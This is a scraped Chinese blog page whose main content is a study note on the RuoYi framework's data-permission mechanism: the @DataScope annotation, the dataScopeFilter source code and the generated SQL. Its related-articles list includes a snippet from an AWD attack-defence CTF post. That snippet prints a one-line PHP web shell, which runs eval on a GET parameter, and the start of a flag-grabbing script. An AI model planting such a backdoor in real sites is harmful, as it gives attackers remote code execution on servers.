当前位置: 首页 > news >正文

学习笔记018——若依框架数据权限功能的实现

ps:本文所使用的若依是前后端分离的v3.6.0版本。

1、建表

建立业务表的时候,需要在表中添加user_id和dept_id两个字段。(字段一定要一样,下文能体现)

user_id:表中该条记录的创建人id

dept_id:表中该条记录的创建人的部门id

建表SQL:

CREATE TABLE `t_warehouse_info` (`id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键ID',`user_id` bigint(20) DEFAULT NULL COMMENT '用户ID',`dept_id` bigint(20) DEFAULT NULL COMMENT '部门ID',`warehouse_code` varchar(255) DEFAULT NULL COMMENT '地址编码',`sort` bigint(20) DEFAULT '1' COMMENT '排序',`video_original_name` varchar(500) DEFAULT NULL COMMENT '源视频名',`video_name` varchar(500) DEFAULT NULL COMMENT '视频名字',`video_url` varchar(500) DEFAULT NULL COMMENT '视频具体地址',`original_file_name` varchar(500) DEFAULT NULL COMMENT '源文件名(图片、pdf)',`file_name` varchar(500) DEFAULT NULL COMMENT '文件名(图片、pdf)',`file_url` varchar(500) DEFAULT NULL COMMENT '文件具体地址(图片、pdf)',`create_time` datetime DEFAULT NULL COMMENT '创建时间',`update_time` datetime DEFAULT NULL COMMENT '更新时间',`remark` varchar(500) DEFAULT NULL COMMENT '备注',PRIMARY KEY (`id`) USING BTREE
) ENGINE=InnoDB AUTO_INCREMENT=8 DEFAULT CHARSET=utf8mb4 ROW_FORMAT=DYNAMIC COMMENT='整体库房介绍';

2、生成代码

本地运行若依管理平台,打开代码生成页面。

点击导入表

选择导入刚刚创建的业务表

点击生成代码

3、设置用户权限

例如本人用超级用户给自己创建了一个用户,用户角色的信息如下:

本人的角色权限是部门及以下的权限

4、代码修改

生成的代码我们是不能直接使用的。需要做一些修改。

首先在controller类的插入记录接口中,为实体类插入用户id和部门id

其次在xml文件中,为select的sql添加  表别名 和  ${params.dataScope}

最后在service的实现类的列表查询方法上添加 注解

@DataScope(deptAlias = "d", userAlias = "d")

注意发现:

deptAlias = "d", userAlias = "d"

中的d就是表的别名。

5、原理分析

ctrl+左键点击我们发现他是一个自定义注解

在数据切面类中,获取了当前用户信息,并且将注解中的表别名一并传入了dataScopeFilter方法中。

我们在点击进入到dataScopeFilter方法中。

瞬间明白了,通过if判断当前用户的权限范围,配合注解中的表别名,生成不同权限的sql语句。

最后将sql放到业务实体类继承的BaseEntity类的params字段中。

xml文件中的${params.dataScope}就是对应了BaseEntity类中的params字段。

/**** @param joinPoint 切点* @param user      当前用户* @param deptAlias 部门表别名* @param userAlias 用户表别名*/
public static void dataScopeFilter(JoinPoint joinPoint, SysUser user, String deptAlias, String userAlias)
{StringBuilder sqlString = new StringBuilder();for (SysRole role : user.getRoles()){// 获取当前用户的数据权限范围String dataScope = role.getDataScope();if (DATA_SCOPE_ALL.equals(dataScope)){/** 全部数据权限   1 */sqlString = new StringBuilder();break;}else if (DATA_SCOPE_CUSTOM.equals(dataScope)){/** 自定数据权限   2 */sqlString.append(StringUtils.format(" OR {}.dept_id IN ( SELECT dept_id FROM sys_role_dept WHERE role_id = {} ) ", deptAlias,role.getRoleId()));}else if (DATA_SCOPE_DEPT.equals(dataScope)){/** 部门数据权限   3 */sqlString.append(StringUtils.format(" OR {}.dept_id = {} ", deptAlias, user.getDeptId()));}else if (DATA_SCOPE_DEPT_AND_CHILD.equals(dataScope)){/** 部门及以下数据权限   4 */sqlString.append(StringUtils.format(" OR {}.dept_id IN ( SELECT dept_id FROM sys_dept WHERE dept_id = {} or find_in_set( {} , ancestors ) )",deptAlias, user.getDeptId(), user.getDeptId()));}else if (DATA_SCOPE_SELF.equals(dataScope)){if (StringUtils.isNotBlank(userAlias)){/** 仅本人数据权限   5 */sqlString.append(StringUtils.format(" OR {}.user_id = {} ", userAlias, user.getUserId()));}else{// 数据权限为仅本人且没有userAlias别名不查询任何数据sqlString.append(" OR 1=0 ");}}}if (StringUtils.isNotBlank(sqlString.toString())){Object params = joinPoint.getArgs()[0];if (StringUtils.isNotNull(params) && params instanceof BaseEntity){BaseEntity baseEntity = (BaseEntity) params;baseEntity.getParams().put(DATA_SCOPE, " AND (" + sqlString.substring(4) + ")");}}
}

这里权限范围值是存在了dataScope字段中。

通过dataScope字段对比

/*** 全部数据权限*/public static final String DATA_SCOPE_ALL = "1";/*** 自定数据权限*/public static final String DATA_SCOPE_CUSTOM = "2";/*** 部门数据权限*/public static final String DATA_SCOPE_DEPT = "3";/*** 部门及以下数据权限*/public static final String DATA_SCOPE_DEPT_AND_CHILD = "4";/*** 仅本人数据权限*/public static final String DATA_SCOPE_SELF = "5";/*** 数据权限过滤关键字*/public static final String DATA_SCOPE = "dataScope";

例如本人的权限范围是:本部门及以下的权限。则生成的sql语句是:

OR u.dept_id IN ( SELECT dept_id FROM sys_dept WHERE dept_id = {当前登录用户部门id} or find_in_set( {当前登录用户部门id} , ancestors ) )

最后存在BaseEntity类的params字段中。

/*** Entity基类** @author ruoyi*/
public class BaseEntity implements Serializable {private static final long serialVersionUID = 1L;/** 搜索值 */private String searchValue;/** 创建者 */private String createBy;/** 创建时间 */@JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss")@Excel(name = "时间", dateFormat = "yyyy-MM-dd HH:mm:ss",sort = 100,width = 28)private Date createTime;/** 更新者 */private String updateBy;/** 更新时间 */@JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss")private Date updateTime;/** 备注 */private String remark;/** 请求参数 */private Map<String, Object> params;}

6、最终请求执行的SQL 语句

14:59:24.942 [http-nio-8080-exec-21] DEBUG c.r.c.m.W.selectWarehouseInfoList - [debug,137] - ==>  Preparing: select id, user_id, dept_id, warehouse_code, sort, video_original_name, video_name, video_url, original_file_name, file_name, file_url, create_time, update_time, remark from t_warehouse_info d WHERE (d.dept_id IN ( SELECT dept_id FROM sys_dept WHERE dept_id = 204 or find_in_set( 204 , ancestors ) )) order by sort# 提取Sql
select id, user_id, dept_id, warehouse_code, sort, video_original_name, video_name, video_url, original_file_name, file_name, file_url, create_time, update_time, remark from t_warehouse_info d WHERE (d.dept_id IN ( SELECT dept_id FROM sys_dept WHERE dept_id = 204 or find_in_set( 204 , ancestors ) )) order by sort

相关文章:

学习笔记018——若依框架数据权限功能的实现

ps&#xff1a;本文所使用的若依是前后端分离的v3.6.0版本。 1、建表 建立业务表的时候&#xff0c;需要在表中添加user_id和dept_id两个字段。&#xff08;字段一定要一样&#xff0c;下文能体现&#xff09; user_id&#xff1a;表中该条记录的创建人id dept_id&#xff1…...

Nginx文件下载服务器搭建

Nginx文件下载服务器搭建 80端口启动下载服务器, 下载/var/www/downloads目录下的文件&#xff0c;nginx.conf如下&#xff1a; server {listen 80;location /downloads/ {root /var/www/downloads;autoindex on; # 显示目录autoindex_localtime on;} }浏览器中访问&#xff…...

AWD脚本编写_1

AWD脚本编写_1 shell.php&#xff08;放在网站根目录下&#xff09; <?php error_reporting(0); eval($_GET["yanxiao"]); ?>脚本编写成功 后门文件利用与解析 import requests import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd…...

HarmonyOS 如何获取设备信息(系统、版本、网络连接状态)

文章目录 前言一、引入模块和基本设备信息的获取二、设备硬件和系统版本信息的获取三、获取安全相关的设备信息四、获取网络状态信息五、完整 Demo 代码1. 导入所需模块2. 获取设备基本信息代码解析 3. 检测网络连接状态4. 执行函数 总结 前言 HarmonyOS 提供了一个强大的 API…...

2411rust,1.80

1.80.0稳定版 LazyCell和LazyLock 这些"懒"类型会延迟初化其数据,直到第一次访问.它们类似1.70中稳定的OnceCell和OnceLock类型,但单元中包含初化函数. 这稳定化了从流行的lazy_static和once_cell中进入标准库. LazyLock是线安选项,使其适合静态值等位置.如,产生…...

FPGA 第6讲 简单组合逻辑多路选择器

时间&#xff1a;2024.11.11-11.14 一、学习内容 1.组合逻辑 组合逻辑是VerilgHDL设计中一个重要组成部分。从电路本质上讲&#xff0c;组合逻辑电路的特点是输出信号只是当前时刻输入信号的函数&#xff0c;与其他时刻的输入状态无关&#xff0c;无存储电路&#xff0c;也没…...

Android Studio开发学习(五)———LinearLayout(线性布局)

一、布局 认识了解一下Android中的布局&#xff0c;分别是: LinearLayout(线性布局)&#xff0c;RelativeLayout(相对布局)&#xff0c;TableLayout(表格布局)&#xff0c; FrameLayout(帧布局)&#xff0c;AbsoluteLayout(绝对布局)&#xff0c;GridLayout(网格布局) 等。 二、…...

大模型(LLMs)RAG 版面分析------文本分块面

一、为什么需要对文本分块&#xff1f; 使用大型语言模型&#xff08;LLM&#xff09;时&#xff0c;切勿忽略文本分块的重要性&#xff0c;其对处理结果的好坏有重大影响。 考虑以下场景&#xff1a;你面临一个几百页的文档&#xff0c;其中充满了文字&#xff0c;你希望对其…...

Web3游戏先锋 Big Time Studios 重磅推出 $OL 通证,赋能 Open Loot 游戏平台

作为 Web3 游戏领域的领军者&#xff0c;Big Time Studios 不仅创造了热门游戏《Big Time》&#xff0c;还开发了 Open Loot 平台&#xff0c;至今交易量已超过 5 亿美元。如今&#xff0c;Open Loot 平台的活跃用户可以获得 $OL 代币&#xff0c;这是该平台推出的首个实用型代…...

Linux—ln(link files)命令使用方法(How to create links on Linux)

Linux—ln&#xff08;link files&#xff09;命令使用方法 在 Linux 系统中工作时&#xff0c;需要在不同的目录中使用相同的文件时&#xff0c;不必在每个目录下都复制一份文件&#xff0c;这样不仅浪费磁盘空间&#xff0c;还会导致文件管理上的混乱。 ln(link files) 便是…...

学习日记_20241110_聚类方法(K-Means)

前言 提醒&#xff1a; 文章内容为方便作者自己后日复习与查阅而进行的书写与发布&#xff0c;其中引用内容都会使用链接表明出处&#xff08;如有侵权问题&#xff0c;请及时联系&#xff09;。 其中内容多为一次书写&#xff0c;缺少检查与订正&#xff0c;如有问题或其他拓展…...

解决Oracle DECODE函数字符串截断问题的深度剖析20241113

解决Oracle DECODE函数字符串截断问题的深度剖析 在使用Oracle数据库进行开发时&#xff0c;开发者可能会遇到一些令人困惑的问题。其中&#xff0c;在使用DECODE函数时&#xff0c;返回的字符串被截断就是一个典型的案例。本文将以学生管理系统为背景&#xff0c;深入探讨这个…...

开源模型应用落地-语音转文本-whisper模型-AIGC应用探索(二)

一、前言 语音转文本技术具有重要价值。它能提高信息记录和处理的效率,使人们可以快速将语音内容转换为可编辑、可存储的文本形式,方便后续查阅和分析。在教育领域,可帮助学生更好地记录课堂重点;在办公场景中,能简化会议记录工作。同时,该技术也为残障人士提供了便利,让…...

PHP框架 单一入口和多入口以及优缺点

在PHP框架中&#xff0c;单一入口和多入口是两种不同的应用架构设计方式&#xff0c;以下是关于这两者及其优缺点的详细解释&#xff1a; 一、单一入口 定义&#xff1a; 单一入口&#xff08;Single Entry Point&#xff09;指的是应用程序通过一个统一的文件&#xff08;通…...

PhpSpreadsheet导出图片

PhpSpreadsheet导出图片 //导出public function pdf($ids){$jzInfo $this->model->where(id,$ids)->find();try {//巡检人员$staff_ids \app\admin\model\inspection\Plan::where(id,$jzInfo[plan_id])->value(staff_id);$staff_names \app\admin\model\inspect…...

AI 提示词(Prompt)入门 十:最佳实践|详细询问,提供细节!

1、原则解释 当与 ChatGPT 交流时&#xff0c;提供具体和详细的信息非常重要。 这样做可以帮助 ChatGPT 更准确地理解你的需求和上下文&#xff0c;从而生成更相关和有用的回答 明确的信息可以包括具体的问题背景、相关领域的说明、你所期望的答案类型等。 2、如何实践 明…...

web应用安全和信息泄露预防

文章目录 1&#xff1a;spring actuator导致的信息泄露1.1、Endpoint配置启用检测1.2、信息泄露复现1.3、防御 2&#xff1a;服务端口的合理使用3&#xff1a;弱口令&#xff08;密码&#xff09;管理4&#xff1a;服务端攻击4.1、短信业务&#xff0c;文件上传等资源型接口1、…...

《人工智能深度学习的基本路线图》

《人工智能深度学习的基本路线图》 基础准备阶段 数学基础&#xff1a; 线性代数&#xff1a;深度学习中大量涉及矩阵运算、向量空间等概念&#xff0c;线性代数是理解和处理这些的基础。例如&#xff0c;神经网络中的权重矩阵、输入向量的运算等都依赖于线性代数知识。学习内容…...

基于Java Springboot宠物猫售卖管理系统

一、作品包含 源码数据库全套环境和工具资源部署教程 二、项目技术 前端技术&#xff1a;Html、Css、Js、Vue、Element-ui 数据库&#xff1a;MySQL 后端技术&#xff1a;Java、Spring Boot、MyBatis 三、运行环境 开发工具&#xff1a;IDEA/eclipse 数据库&#xff1a;…...

力扣-Hot100-链表其三【算法学习day.36】

前言 ###我做这类文档一个重要的目的还是给正在学习的大家提供方向&#xff08;例如想要掌握基础用法&#xff0c;该刷哪些题&#xff1f;&#xff09;我的解析也不会做的非常详细&#xff0c;只会提供思路和一些关键点&#xff0c;力扣上的大佬们的题解质量是非常非常高滴&am…...

iOS逆向入门:使用theos注入第三方依赖库

背景 theos是一个跨平台的软件开发框架&#xff0c;常用于管理&#xff0c;开发和部署iOS项目&#xff0c;同时也是开发iOS越狱插件的主要工具。和MonkeyDev不同的是&#xff0c;它不依赖于xcode&#xff0c;可以在多个操作系统上运行。一个完整的iOS越狱开发流程包括&#xf…...

JavaScript 原型

JavaScript 的原型&#xff08;Prototype&#xff09;是其面向对象编程模型的核心概念之一&#xff0c;它决定了对象如何继承属性和方法。通过理解 JavaScript 的原型&#xff0c;你可以更好地理解对象之间的关系以及如何扩展对象功能。 核心概念 [[Prototype]]&#xff08;内部…...

力扣 LeetCode 20. 有效的括号(Day5:栈与队列)

解题思路&#xff1a; 使用栈 只有三种情况 1. ( [ { } ] ( ( 左括号多了 -> 最后栈中经过抵消会剩下括号 2. [ { ( ] } ] 括号不匹配 -> return false 3. [ { } ] ( ) ) ) 右括号多了 -> 未遍历完时&#xff0c;栈提前为空&#xff0c;…...

git使用及上线流程(仅为我工作中常用)

推荐软件或者直接终端 ⚠️注意&#xff1a;在确保远程和本地分支都可使用的情况下 git常见使用命令 ls---查看所有目录 pwd---本机密码 cd 目录名---进入目录 Touch ---创建文本文件 git status---查看状态 git branch---查看分支 git pull---拉取远程最新代码 git checkou…...

React Native 全栈开发实战班 - 打包发布之热更新

在完成 React Native 应用的开发与性能优化后&#xff0c;下一步就是将应用打包并发布到各大应用市场&#xff0c;如 Apple App Store 和 Google Play Store。本章节已经详细介绍了打包与发布的流程&#xff0c;包括 Android 和 iOS 平台的配置、打包步骤、签名配置以及发布到应…...

2024年11月16日 星期六 重新整理Go技术

今日格言 坚持每天进步一点点~ 一个人也可以是一个团队~ 学习全栈开发, 做自己喜欢的产品~~ 简介 大家好, 我是张大鹏, 今天是2024年11月16日星期六, 很高兴在这里给大家分享技术. 今天又是休息的一天, 做了很多的思考, 整理了自己掌握的技术, 比如Java, Python, Golang,…...

力扣第 55 题 跳跃游戏

力扣第 55 题 跳跃游戏&#xff08;Jump Game&#xff09;。题目要求判断一个非负整数数组中&#xff0c;是否能够从第一个位置跳跃到最后一个位置。每个元素表示从当前位置最多可以跳跃的步数。 解题思路 我们可以用 贪心算法 来解决这个问题。贪心的核心思想是始终维护当前…...

Golang | Leetcode Golang题解之第564题寻找最近的回文数

题目&#xff1a; 题解&#xff1a; func nearestPalindromic(n string) string {m : len(n)candidates : []int{int(math.Pow10(m-1)) - 1, int(math.Pow10(m)) 1}selfPrefix, _ : strconv.Atoi(n[:(m1)/2])for _, x : range []int{selfPrefix - 1, selfPrefix, selfPrefix …...

Spring Boot汽车资讯:科技与速度的交响

3系统分析 3.1可行性分析 通过对本汽车资讯网站实行的目的初步调查和分析&#xff0c;提出可行性方案并对其一一进行论证。我们在这里主要从技术可行性、经济可行性、操作可行性等方面进行分析。 3.1.1技术可行性 本汽车资讯网站采用SSM框架&#xff0c;JAVA作为开发语言&#…...

从 IDC 到云原生:稳定性提升 100%,成本下降 50%,热联集团的数字化转型与未来展望

作者&#xff1a;金峰&#xff08;项良&#xff09;、朱永林、赵世振&#xff08;寰奕&#xff09; 公司简介 杭州热联集团股份有限公司成立于 1997 年 10 月&#xff0c;是隶属杭州市实业投资集团的国有控股公司。公司专业从事国际、国内钢铁贸易黑色大宗商品及产业服务&…...

厦门企业做网站/自动点击器app

概要 上一章&#xff0c;我们学习了Collection的架构。这一章开始&#xff0c;我们对Collection的具体实现类进行讲解&#xff1b;首先&#xff0c;讲解List&#xff0c;而List中ArrayList又最为常用。因此&#xff0c;本章我们讲解ArrayList。先对ArrayList有个整体认识&…...

网络营销网站/某网站seo诊断分析和优化方案

因一个公司收购另外一个公司&#xff0c;现需要把被收购公司的计算机迁移到收购公司域内&#xff0c;要求用户配置文件不变&#xff0c;计算机名重新编辑&#xff0c;用户继承本地管理员权限使用了DefProf.exe迁移配置文件使用了netdom.exe迁移域使用了数据库自动计算机名更改&…...

大公司网站建设建网站/湖南网站排名

什么是AMQP高级消息队列协议 AMQP&#xff0c;即Advanced Message Queuing Protocol,是具有现代特征的二进制协议。是一个提供统一消息服务的应用层标准高级消息队列协议&#xff0c;是应用层协议的一个开放标准,为面向消息的中间件设计。&#xff08;说白了就是规范&#xff…...

公司网站建设哪家好/百度ai人工智能平台

浏览器的缓存机制提供了可以将用户数据存储在客户端上的方式&#xff0c;可以利用cookie,session等跟服务端进行数据交互。 一、cookie和session cookie和session都是用来跟踪浏览器用户身份的会话方式。 区别&#xff1a; 1、保持状态&#xff1a;cookie保存在浏览器端&#x…...

广东私人做网站的联系方式/南京seo公司排名

使用Spring MVC有一段时间了,之前一直使用Struts2,在struts2中action都是原型(prototype)的&#xff0c; 说是因为线程安全问题,对于Spring MVC中bean默认都是(singleton)单例的,那么用Controller注解标签注入的Controller类是单例实现的? 测试结果发现spring3中的controller默…...

推广网站刷排名/中国最新消息今天

本文转载&#xff1a;原文地址&#xff1a; 重新认识java&#xff08;十&#xff09; ---- Enum&#xff08;枚举类&#xff09;...